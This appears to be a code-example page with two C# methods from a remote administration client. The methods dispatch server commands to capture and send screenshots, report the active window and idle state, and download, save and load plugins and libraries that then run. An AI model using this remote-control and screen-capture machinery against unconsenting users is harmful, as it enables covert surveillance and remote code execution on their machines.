예제 #1
0
        private void ProcessResponse(byte parameter, int size, byte[] bytes)
        {
            switch ((FromAdministrationPackage)parameter)
            {
            case FromAdministrationPackage.InitializeNewSession:
                var id         = BitConverter.ToUInt16(bytes, 0);
                var connection = new AdministrationConnection(id, this, _clientInfo);
                connection.SendFailed += (sender, args) => Dispose();

                AdministrationConnections.Add(connection);
                lock (SendLock)
                {
                    BinaryWriter.Write((byte)FromClientPackage.ResponseLoginOpen);
                    BinaryWriter.Write(2);
                    BinaryWriter.Write(BitConverter.GetBytes(id));
                }
                break;

            case FromAdministrationPackage.SendStaticCommand:
                var potentialCommand =
                    new Serializer(typeof(PotentialCommand)).Deserialize <PotentialCommand>(bytes, 0);

                StaticCommandSelector.Current.ExecuteCommand(potentialCommand);
                break;

            case FromAdministrationPackage.SendStaticCommandCompressed:
                potentialCommand =
                    new Serializer(typeof(PotentialCommand)).Deserialize <PotentialCommand>(LZF.Decompress(bytes, 0), 0);

                StaticCommandSelector.Current.ExecuteCommand(potentialCommand);
                break;

            case FromAdministrationPackage.LoadPlugin:
                var guid    = new Guid(bytes.Skip(2).Take(16).ToArray());
                var version = new Serializer(typeof(PluginVersion)).Deserialize <PluginVersion>(bytes,
                                                                                                18);
                var versionData = Encoding.ASCII.GetBytes(version.ToString());
                if (LoadPlugin(guid, version))
                {
                    lock (SendLock)
                    {
                        BinaryWriter.Write((byte)FromClientPackage.PluginLoaded);
                        BinaryWriter.Write(16 + versionData.Length);
                        BinaryWriter.Write(guid.ToByteArray());
                        BinaryWriter.Write(versionData);
                    }
                }
                else
                {
                    lock (SendLock)
                    {
                        BinaryWriter.Write((byte)FromClientPackage.PluginLoadFailed);
                        BinaryWriter.Write(2 + 16 + versionData.Length);
                        BinaryWriter.Write(bytes, 0, 2);     //administration id
                        BinaryWriter.Write(guid.ToByteArray());
                        BinaryWriter.Write(versionData);
                    }
                }
                break;

            case FromAdministrationPackage.CloseSession:
                var closingSessionId = BitConverter.ToUInt16(bytes, 0);
                var session          = AdministrationConnections.FirstOrDefault(x => x.Id == closingSessionId);
                if (session != null)
                {
                    AdministrationConnections.Remove(session);
                    session.Dispose();
                }
                break;

            case FromAdministrationPackage.GetActiveWindow:
                try
                {
                    string windowTitle = "";

                    var lastInPut = new LASTINPUTINFO();
                    lastInPut.cbSize = (uint)Marshal.SizeOf(lastInPut);

                    //15 min
                    if (NativeMethods.GetLastInputInfo(ref lastInPut) &&
                        (uint)Environment.TickCount - lastInPut.dwTime > 900000)
                    {
                        windowTitle += "[Idle] ";
                    }

                    windowTitle += ActiveWindowHook.GetActiveWindowTitle() ?? "";
                    var windowTitleData = Encoding.UTF8.GetBytes(windowTitle);
                    lock (SendLock)
                    {
                        BinaryWriter.Write((byte)FromClientPackage.ResponseActiveWindow);
                        BinaryWriter.Write(windowTitleData.Length + 2);
                        BinaryWriter.Write(bytes);
                        BinaryWriter.Write(windowTitleData);
                    }
                }
                catch (Exception ex)
                {
                    ErrorReporter.Current.ReportError(ex,
                                                      "case FromAdministrationPackage.GetActiveWindow");
                }
                break;

            case FromAdministrationPackage.GetScreen:
                try
                {
                    using (var compressor = new JpgCompression(75))
                    {
                        byte[] screenshotData;
                        using (var memoryStream = new MemoryStream())
                            using (var screenshot = ScreenHelper.TakeScreenshot())
                            {
                                compressor.Compress(screenshot, memoryStream);
                                screenshotData = memoryStream.ToArray();
                            }

                        lock (SendLock)
                        {
                            BinaryWriter.Write((byte)FromClientPackage.ResponseScreenshot);
                            BinaryWriter.Write(screenshotData.Length + 2);
                            BinaryWriter.Write(bytes);
                            BinaryWriter.Write(screenshotData);
                        }
                    }
                }
                catch (Exception ex)
                {
                    ErrorReporter.Current.ReportError(ex, "case FromAdministrationPackage.GetScreen");
                }
                break;

            case FromAdministrationPackage.AcceptPush:
                FileTransferAccepted?.Invoke(this, new FileTransferEventArgs(new Guid(bytes)));
                break;

            case FromAdministrationPackage.TransferCompleted:
                FileTransferCompleted?.Invoke(this, new FileTransferEventArgs(new Guid(bytes)));
                break;

            case FromAdministrationPackage.IsAlive:
                lock (SendLock)
                {
                    BinaryWriter.Write((byte)FromClientPackage.StillAlive);
                    BinaryWriter.Write(0);
                }
                break;

            case FromAdministrationPackage.SendStaticCommandPlugin:
                var pluginDirectory = new DirectoryInfo(Consts.StaticCommandPluginsDirectory);
                if (!pluginDirectory.Exists)
                {
                    pluginDirectory.Create();
                }

                var filename = FileExtensions.GetUniqueFileName(pluginDirectory.FullName);
                using (var fileStream = new FileStream(filename, FileMode.CreateNew, FileAccess.Write))
                    fileStream.Write(bytes, 4, bytes.Length - 4);

                StaticCommandPluginReceived?.Invoke(this, new StaticCommandPluginReceivedEventArgs(filename,
                                                                                                   BitConverter.ToInt32(bytes, 0)));
                break;

            case FromAdministrationPackage.RequestLibraryInformation:
                var libraries     = (PortableLibrary)BitConverter.ToInt32(bytes, 2);
                var libraryHashes = (size - 6) / 16;
                var hashes        = new List <byte[]>(libraryHashes);
                for (int i = 0; i < libraryHashes; i++)
                {
                    var hash = new byte[16];
                    Buffer.BlockCopy(bytes, 6 + i * 16, hash, 0, 16);
                    hashes.Add(hash);
                }
                var result = LibraryLoader.Current.CheckLibraries(libraries, hashes);
                lock (SendLock)
                {
                    BinaryWriter.Write((byte)FromClientPackage.ResponseLibraryInformation);
                    BinaryWriter.Write(6);
                    BinaryWriter.Write(bytes, 0, 2);     //administration id
                    BinaryWriter.Write(BitConverter.GetBytes((int)result));
                }
                break;

            case FromAdministrationPackage.StopActiveCommand:
                StaticCommandSelector.Current.StopActiveCommand(BitConverter.ToInt32(bytes, 0));
                break;
            }
        }
예제 #2
0
        private void EndRead(IAsyncResult asyncResult)
        {
            try
            {
                var parameter = _readByteDelegate.EndInvoke(asyncResult);
                var size      = BinaryReader.ReadInt32();

                switch ((FromAdministrationPackage)parameter)
                {
                case FromAdministrationPackage.SendCommand:
                case FromAdministrationPackage.SendCommandCompressed:
                    var bytes = BinaryReader.ReadBytes(size);
                    //don't execute in a thread because it wants to be synchronized
                    var administrationId = BitConverter.ToUInt16(bytes, 0);
                    var isCompressed     = parameter == (byte)FromAdministrationPackage.SendCommandCompressed;
                    var packageData      = isCompressed ? LZF.Decompress(bytes, 3) : bytes;

                    AdministrationConnections.FirstOrDefault(x => x.Id == administrationId)?
                    .PackageReceived(bytes[2], packageData, isCompressed ? 0 : 3);
                    break;

                case FromAdministrationPackage.SendPlugin:
                    administrationId = BinaryReader.ReadUInt16();
                    var pluginLength = BinaryReader.ReadInt32();
                    var pluginGuid   = new Guid(BinaryReader.ReadBytes(16));
                    var hash         = BinaryReader.ReadBytes(16);
                    var versionData  = BinaryReader.ReadBytes(BinaryReader.ReadInt32());
                    var version      = Encoding.ASCII.GetString(versionData);

                    try
                    {
                        var pluginReceiver = new PluginReceiver(administrationId, pluginGuid, hash, version);

                        var buffer = new byte[8192];
                        int read;

                        while (pluginLength > 0 && (read = BinaryReader.Read(buffer, 0, Math.Min(buffer.Length, pluginLength))) > 0)
                        {
                            pluginReceiver.FileStream.Write(buffer, 0, read);
                            pluginLength -= read;
                        }

                        if (pluginReceiver.ImportPlugin() && LoadPlugin(pluginReceiver.Guid, PluginVersion.Parse(pluginReceiver.Version)))
                        {
                            lock (SendLock)
                            {
                                BinaryWriter.Write((byte)FromClientPackage.PluginLoaded);
                                BinaryWriter.Write(16 + versionData.Length);
                                BinaryWriter.Write(pluginGuid.ToByteArray());
                                BinaryWriter.Write(versionData);
                            }
                        }
                        else
                        {
                            lock (SendLock)
                            {
                                BinaryWriter.Write((byte)FromClientPackage.PluginLoadFailed);
                                BinaryWriter.Write(2 + 16 + versionData.Length);
                                BinaryWriter.Write(BitConverter.GetBytes(pluginReceiver.AdministrationId));
                                //administration id
                                BinaryWriter.Write(pluginGuid.ToByteArray());
                                BinaryWriter.Write(versionData);
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        ErrorReporter.Current.ReportError(ex,
                                                          $"void ProcessResponse || Parameter: {(FromAdministrationPackage) parameter}, Size: {size} B");
                    }
                    break;

                case FromAdministrationPackage.SendLibraries:
                    administrationId = BinaryReader.ReadUInt16();
                    try
                    {
                        var portableLibraries =
                            (List <PortableLibraryInfo>)
                            new Serializer(typeof(List <PortableLibraryInfo>)).Deserialize(
                                BinaryReader.BaseStream);

                        var loadedLibraries = PortableLibrary.None;
                        foreach (var portableLibraryInfo in portableLibraries)
                        {
                            try
                            {
                                LibraryLoader.Current.LoadLibrary(portableLibraryInfo.Library, _sslStream,
                                                                  portableLibraryInfo.Length);
                            }
                            catch (Exception)
                            {
                                continue;
                            }
                            loadedLibraries |= portableLibraryInfo.Library;
                        }

                        lock (SendLock)
                        {
                            BinaryWriter.Write((byte)FromClientPackage.ResponseLibraryLoadingResult);
                            BinaryWriter.Write(2 + 4);
                            BinaryWriter.Write(BitConverter.GetBytes(administrationId));
                            BinaryWriter.Write(BitConverter.GetBytes((int)loadedLibraries));
                        }
                    }
                    catch (Exception ex)
                    {
                        ErrorReporter.Current.ReportError(ex,
                                                          $"void ProcessResponse || Parameter: {(FromAdministrationPackage) parameter}, Size: {size} B");
                    }
                    break;

                default:
                    bytes = BinaryReader.ReadBytes(size);
                    ThreadPool.QueueUserWorkItem(state =>
                    {
                        try
                        {
                            ProcessResponse(parameter, size, bytes);
                        }
                        catch (Exception ex)
                        {
                            ErrorReporter.Current.ReportError(ex,
                                                              $"void ProcessResponse || Parameter: {(FromAdministrationPackage) parameter}, Size: {size} B");
                        }
                    });
                    break;
                }

                _readByteDelegate.BeginInvoke(EndRead, null);
            }
            catch (Exception)
            {
                Dispose();
            }
        }